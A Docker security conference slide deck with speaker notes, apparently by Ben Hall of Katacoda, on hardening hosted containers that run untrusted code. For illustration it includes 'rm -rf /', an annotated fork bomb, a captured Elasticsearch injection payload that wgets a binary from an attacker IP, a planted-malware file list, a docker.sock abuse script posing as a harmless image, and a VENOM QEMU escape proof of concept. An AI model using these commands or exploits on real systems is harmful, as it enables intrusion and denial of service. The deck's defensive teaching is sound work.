Lessons from running
potentially malicious code
inside containers
@Ben_Hall
Ben@BenHall.me.uk
Ocelot Uproar / Katacoda.com
@Ben_Hall / Blog.BenHall.me.uk
Docker London Organiser
Software Development Studio
WHOAMI?
“What happens when you give
anonymous unrestricted
access to a hosted Docker container
& daemon?”
This is how we [try to] protect
ourselves
Learn via Interactive Browser-Based Labs
Katacoda.com
Multi-tenant system
PaaS
CI Servers
Untrusted 3rd Parties
Docker Security Practices
The first “hack”
$ whoami
$ pwd
$ cd /
$ ls
$ apt-get install <some package>
$ passwd
$ rm –rf /
Dockerfile
RUN adduser <new user>
USER <new user>
$ docker run –u <new user>
$ uptime
$ free -m
$ df -h
$ cat /proc/cpuinfo
$ uname -a
$ reboot
$ shutdown now
“It also allows the container to access local
network services + like D-bus and is therefore
considered insecure”
$ docker run --net=host -it ubuntu bash
root@ubuntu:/# shutdown now
root@ubuntu:/#
$ docker run --net=host -it ubuntu bash
Post http://docker:4243/v1.20/containers/create: EOF.
* Are you trying to connect to a TLS-enabled daemon without TLS?
* Is your docker daemon up and running?
Docker out of the box covers a
lot but not everything…
$ while :; do echo 'Hello World'; done
Log Rotation since 1.8
$ fallocate
Operation Not Supported
$ truncate
$ dd
Root users can write to it. If you can write to it,
you can fill it.
$ ls /docker/aufs/diff/<container-id>/
$ cat /docker/containers/<container-id>/hosts
Bandwidth
Difficult to restrict
CGroups and Namespaces
CPU Shares
:(){ :|: & };:
$ docker run -d -u daemon --ulimit nproc=3 busybox top
$ docker run -d -u daemon --ulimit nproc=3 busybox top
$ docker run -d -u daemon --ulimit nproc=3 busybox top
$ docker run -d -u daemon --ulimit nproc=3 busybox top
efe086376f3d1b09f6d99fa1af8bfb6e021cdba9b363bd6ac10c07704239b398
Error response from daemon: Cannot start container
efe086376f3d1b09f6d99fa1af8bfb6e021cdba9b363bd6ac10c07704239b398
: [8] System error: resource temporarily unavailable
Cgroup Settings
• Limit a container to a share of the
resource
> --cpu-shares
> --cpuset-cpus
> --memory-reservation
> --kernel-memory
> --blkio-weight (block IO)
> --device-read-iops
> --device-write-iops
Namespaces limit what a
container can see…
Seccomp & AppArmor
The Warden
Based on Docker API + Magic
Snort for Docker?
Sysdig Falco
What happens when it all
goes wrong?
Hosting provider becomes
unhappy
org.elasticsearch.search.SearchParseException: [index][3]:
query[ConstantScore(*:*)],from[-1],size[1]: Parse Failure [Failed to parse
source
[{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"exp":{"s
cript":"import java.util.*;nimport java.io.*;nString str = "";BufferedReader br
= new BufferedReader(new
InputStreamReader(Runtime.getRuntime().exec("wget -O /tmp/xdvi
http://<IP Address>:9985/xdvi").getInputStream()));StringBuilder sb = new
StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();"
}}}]]
http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/
C /bin
C /bin/netstat
C /bin/ps
C /bin/ss
C /etc
C /etc/init.d
A /etc/init.d/DbSecuritySpt
A /etc/init.d/selinux
C /etc/rc1.d
A /etc/rc1.d/S97DbSecuritySpt
A /etc/rc1.d/S99selinux
C /etc/rc2.d
A /etc/rc2.d/S97DbSecuritySpt
A /etc/rc2.d/S99selinux
C /etc/rc3.d
A /etc/rc3.d/S97DbSecuritySpt
A /etc/rc3.d/S99selinux
C /etc/rc4.d
A /etc/rc4.d/S97DbSecuritySpt
A /etc/rc4.d/S99selinux
C /etc/rc5.d
http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/
A /etc/rc5.d/S97DbSecuritySpt
A /etc/rc5.d/S99selinux
C /etc/ssh
A /etc/ssh/bfgffa
A /os6
A /safe64
C /tmp
A /tmp/.Mm2
A /tmp/64
A /tmp/6Sxx
A /tmp/6Ubb
A /tmp/DDos99
A /tmp/cmd.n
A /tmp/conf.n
A /tmp/ddos8
A /tmp/dp25
A /tmp/frcc
A /tmp/gates.lod
A /tmp/hkddos
A /tmp/hsperfdata_root
A /tmp/linux32
A /tmp/linux64
A /tmp/manager
A /tmp/moni.lod
A /tmp/nb
A /tmp/o32
A /tmp/oba
A /tmp/okml
A /tmp/oni
A /tmp/yn25
C /usr
C /usr/bin
A /usr/bin/.sshd
A /usr/bin/dpkgd
A /usr/bin/dpkgd/netstat
A /usr/bin/dpkgd/ps
A /usr/bin/dpkgd/ss
Read Only Containers
> docker run –-read-only 
–v /data:/data 
elasticsearch
Is Docker Secure?
• Yes. It’s as secure as your practices
are.
• ElasticSearch hack would have taken over
entire box
• I’ve pointed out the bad bits
• New game, new rules to play by.
$ docker run benhall/cute-kittens
Error: Missing docker.sock
Usage: docker run -v /var/run/docker.sock:/var/run/docker.sock
benhall/cute-kittens
$ docker run -v /var/run/docker.sock:/var/run/docker.sock
benhall/cute-kittens
if [ -e /var/run/docker.sock ]; then
echo "**** Launching ****”
docker run --privileged busybox ls /dev
echo "**** Cute kittens ****"
else
echo "Error: Missing docker.sock”
fi
DockerBench.com
Think VMs contain?
• CVE-2016-3710: QEMU: out-of-bounds memory access issue
• Venom QEMU/KVM – Attack via floppy driver
#include <sys/io.h>
#define FIFO 0x3f5
int main() {
int i;
iopl(3);
outb(0x0a,0x3f5); /* READ ID */
for (i=0;i<10000000;i++)
outb(0x42,0x3f5); /* push */
}
Available for one/two day
Microservice/Docker Security
training
Thank you!
www.Katacoda.com
@Ben_Hall
Ben@BenHall.me.uk
Blog.BenHall.me.uk

Lessons from running potentially malicious code inside containers

  • 1.
    Lessons from running potentiallymalicious code inside containers @Ben_Hall Ben@BenHall.me.uk Ocelot Uproar / Katacoda.com
  • 2.
    @Ben_Hall / Blog.BenHall.me.uk DockerLondon Organiser Software Development Studio WHOAMI?
  • 3.
    “What happens whenyou give anonymous unrestricted access to a hosted Docker container & daemon?” This is how we [try to] protect ourselves
  • 4.
    Learn via InteractiveBrowser-Based Labs Katacoda.com
  • 5.
    Multi-tenant system PaaS CI Servers Untrusted3rd Parties Docker Security Practices
  • 7.
  • 8.
    $ whoami $ pwd $cd / $ ls $ apt-get install <some package> $ passwd $ rm –rf /
  • 10.
    Dockerfile RUN adduser <newuser> USER <new user> $ docker run –u <new user>
  • 11.
    $ uptime $ free-m $ df -h $ cat /proc/cpuinfo $ uname -a
  • 13.
  • 15.
    “It also allowsthe container to access local network services + like D-bus and is therefore considered insecure” $ docker run --net=host -it ubuntu bash root@ubuntu:/# shutdown now root@ubuntu:/# $ docker run --net=host -it ubuntu bash Post http://docker:4243/v1.20/containers/create: EOF. * Are you trying to connect to a TLS-enabled daemon without TLS? * Is your docker daemon up and running?
  • 16.
    Docker out ofthe box covers a lot but not everything…
  • 17.
    $ while :;do echo 'Hello World'; done
  • 18.
  • 19.
    $ fallocate Operation NotSupported $ truncate $ dd
  • 20.
    Root users canwrite to it. If you can write to it, you can fill it. $ ls /docker/aufs/diff/<container-id>/ $ cat /docker/containers/<container-id>/hosts
  • 21.
  • 22.
  • 24.
  • 25.
  • 26.
  • 27.
    $ docker run-d -u daemon --ulimit nproc=3 busybox top $ docker run -d -u daemon --ulimit nproc=3 busybox top $ docker run -d -u daemon --ulimit nproc=3 busybox top $ docker run -d -u daemon --ulimit nproc=3 busybox top efe086376f3d1b09f6d99fa1af8bfb6e021cdba9b363bd6ac10c07704239b398 Error response from daemon: Cannot start container efe086376f3d1b09f6d99fa1af8bfb6e021cdba9b363bd6ac10c07704239b398 : [8] System error: resource temporarily unavailable
  • 29.
    Cgroup Settings • Limita container to a share of the resource > --cpu-shares > --cpuset-cpus > --memory-reservation > --kernel-memory > --blkio-weight (block IO) > --device-read-iops > --device-write-iops
  • 30.
    Namespaces limit whata container can see…
  • 31.
  • 34.
    The Warden Based onDocker API + Magic Snort for Docker?
  • 35.
  • 36.
    What happens whenit all goes wrong?
  • 37.
  • 40.
    org.elasticsearch.search.SearchParseException: [index][3]: query[ConstantScore(*:*)],from[-1],size[1]: ParseFailure [Failed to parse source [{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"exp":{"s cript":"import java.util.*;nimport java.io.*;nString str = "";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("wget -O /tmp/xdvi http://<IP Address>:9985/xdvi").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();" }}}]] http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/
  • 41.
    C /bin C /bin/netstat C/bin/ps C /bin/ss C /etc C /etc/init.d A /etc/init.d/DbSecuritySpt A /etc/init.d/selinux C /etc/rc1.d A /etc/rc1.d/S97DbSecuritySpt A /etc/rc1.d/S99selinux C /etc/rc2.d A /etc/rc2.d/S97DbSecuritySpt A /etc/rc2.d/S99selinux C /etc/rc3.d A /etc/rc3.d/S97DbSecuritySpt A /etc/rc3.d/S99selinux C /etc/rc4.d A /etc/rc4.d/S97DbSecuritySpt A /etc/rc4.d/S99selinux C /etc/rc5.d http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/ A /etc/rc5.d/S97DbSecuritySpt A /etc/rc5.d/S99selinux C /etc/ssh A /etc/ssh/bfgffa A /os6 A /safe64 C /tmp A /tmp/.Mm2 A /tmp/64 A /tmp/6Sxx A /tmp/6Ubb A /tmp/DDos99 A /tmp/cmd.n A /tmp/conf.n A /tmp/ddos8 A /tmp/dp25 A /tmp/frcc A /tmp/gates.lod A /tmp/hkddos A /tmp/hsperfdata_root A /tmp/linux32 A /tmp/linux64 A /tmp/manager A /tmp/moni.lod A /tmp/nb A /tmp/o32 A /tmp/oba A /tmp/okml A /tmp/oni A /tmp/yn25 C /usr C /usr/bin A /usr/bin/.sshd A /usr/bin/dpkgd A /usr/bin/dpkgd/netstat A /usr/bin/dpkgd/ps A /usr/bin/dpkgd/ss
  • 42.
    Read Only Containers >docker run –-read-only –v /data:/data elasticsearch
  • 45.
    Is Docker Secure? •Yes. It’s as secure as your practices are. • ElasticSearch hack would have taken over entire box • I’ve pointed out the bad bits • New game, new rules to play by.
  • 46.
    $ docker runbenhall/cute-kittens Error: Missing docker.sock Usage: docker run -v /var/run/docker.sock:/var/run/docker.sock benhall/cute-kittens $ docker run -v /var/run/docker.sock:/var/run/docker.sock benhall/cute-kittens
  • 47.
    if [ -e/var/run/docker.sock ]; then echo "**** Launching ****” docker run --privileged busybox ls /dev echo "**** Cute kittens ****" else echo "Error: Missing docker.sock” fi
  • 52.
  • 53.
    Think VMs contain? •CVE-2016-3710: QEMU: out-of-bounds memory access issue • Venom QEMU/KVM – Attack via floppy driver #include <sys/io.h> #define FIFO 0x3f5 int main() { int i; iopl(3); outb(0x0a,0x3f5); /* READ ID */ for (i=0;i<10000000;i++) outb(0x42,0x3f5); /* push */ }
  • 55.
    Available for one/twoday Microservice/Docker Security training
  • 56.

Editor's Notes

  • #12 Docker doesn’t support Kernel Virtualisation… hence information from host kernel is leaked
  • #16 User namespaces in 1.9 removes net=host https://github.com/dotcloud/docker/issues/6401
  • #18 https://github.com/docker/docker/pull/11485
  • #20 https://github.com/docker/docker/issues/3804
  • #21 User namespaces in 1.9 removes net=host https://github.com/dotcloud/docker/issues/6401
  • #22 Inbound – Waste bandwidth. Seed files. Outbound – DDoS, BitTorrent, Tor Relays, VPN… Lots of potential legal issues
  • #27 :(){ :|:& };: \_/| |||| ||\- ... the function ':', initiating a chain-reaction: each ':' will start two more. | | |||| |\- Definition ends now, to be able to run ... | | |||| \- End of function-block | | |||\- disown the functions (make them a background process), so that the children of a parent | | ||| will not be killed when the parent gets auto-killed | | ||\- ... another copy of the ':'-function, which has to be loaded into memory. | | || So, ':|:' simply loads two copies of the function, whenever ':' is called | | |\- ... and pipe its output to ... | | \- Load a copy of the function ':' into memory ... | \- Begin of function-definition \- Define the function ':' without any parameters '()' as follows:
  • #28 User namespaces in 1.9 removes net=host https://github.com/dotcloud/docker/issues/6401
  • #35 Monitors a containers CPU Usage, Disk Space & Bandwidth Sits on each local server. Means it will have priority thanks to CPU share. Communicates over unix socket so no bandwidth issues
  • #48 https://github.com/jerbia/container_hack